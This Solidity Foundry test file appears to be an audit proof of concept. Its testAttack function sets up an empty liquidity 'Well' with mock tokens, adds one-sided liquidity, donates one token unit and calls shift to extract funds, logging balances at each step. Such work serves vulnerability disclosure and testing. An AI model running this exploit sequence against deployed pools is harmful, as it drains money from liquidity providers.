// SPDX-License-Identifier: MIT pragma solidity ^0.7.1; import {console} from "forge-std/Test.sol"; import {TestHelper, IERC20, Call, Balances} from "test/TestHelper.sol"; import {AddLiquidityAction, RemoveLiquidityAction, LiquidityHelper} from "test/LiquidityHelper.sol"; import {Aquifer} from "src/Aquifer.sol"; import {SwapHelper, SwapAction, Snapshot} from "test/SwapHelper.sol"; contract WellAddLiquidityTest is LiquidityHelper { function _setupWellWithoutAddingLiquidity(Call memory _wellFunction, Call[] memory _pumps, IERC20[] memory _tokens) internal { tokens = _tokens; wellFunction = _wellFunction; for (uint256 i; i < _pumps.length; i++) { pumps.push(_pumps[i]); } initUser(); wellImplementation = deployWellImplementation(); aquifer = new Aquifer(); well = encodeAndBoreWell(address(aquifer), wellImplementation, tokens, _wellFunction, _pumps, bytes32(0)); // Mint mock tokens to user mintTokens(user, initialLiquidity); mintTokens(user2, initialLiquidity); approveMaxTokens(user, address(well)); approveMaxTokens(user2, address(well)); // Mint mock tokens to TestHelper mintTokens(address(this), initialLiquidity); approveMaxTokens(address(this), address(well)); // Do not add initial liquidity from TestHelper // addLiquidityEqualAmount(address(this), initialLiquidity); } function setUp() public { _setupWellWithoutAddingLiquidity(deployWellFunction(), deployPumps(1), deployMockTokens(2)); } function _logBalances(uint256 num) internal { console.log("=========================== #", num); Balances memory userBalance = getBalances(user, well); console.log("user token0 token1", userBalance.tokens[0], userBalance.tokens[1]); console.log("user LP", well.balanceOf(user)); //Balances memory user2Balance = getBalances(user2, well); console.log("user2 token0 token1", user2Balance.tokens[0], user2Balance.tokens[1]); console.log("user2 LP", well.balanceOf(user2)); Balances memory wellBalance = getBalances(address(well), well); console.log("well token0 token1", wellBalance.tokens[0], wellBalance.tokens[1]); console.log("totalSupply", well.totalSupply()); } function _addLiq(address targetUser, uint256 token0, uint256 token1) internal returns(uint256 minted) { uint256[] memory amounts = new uint256[](tokens.length); amounts[0] = token0; amounts[1] = token1; minted = well.addLiquidity(amounts, 0, targetUser, type(uint256).max); } function _removeLiq(address targetUser, uint256 lp) internal { uint256[] memory minTokenAmountsOut = new uint256[](2); minTokenAmountsOut[0] = 0; minTokenAmountsOut[1] = 0; well.removeLiquidity(lp, minTokenAmountsOut, targetUser, type(uint256).max); } function _emptyUserTokens(address targetUser) internal { vm.startPrank(targetUser); IERC20(tokens[0]).transfer(address(1), IERC20(tokens[0]).balanceOf(user)); IERC20(tokens[1]).transfer(address(1), IERC20(tokens[1]).balanceOf(user)); } function testAttack() public { vm.startPrank(user); _logBalances(0); _addLiq(user, 0, 10 * 1e18); _logBalances(1); IERC20(tokens[0]).transfer(address(well), 1); well.shift(tokens[1], 0, user); _logBalances(2); _emptyUserTokens(user); } }
0.7.1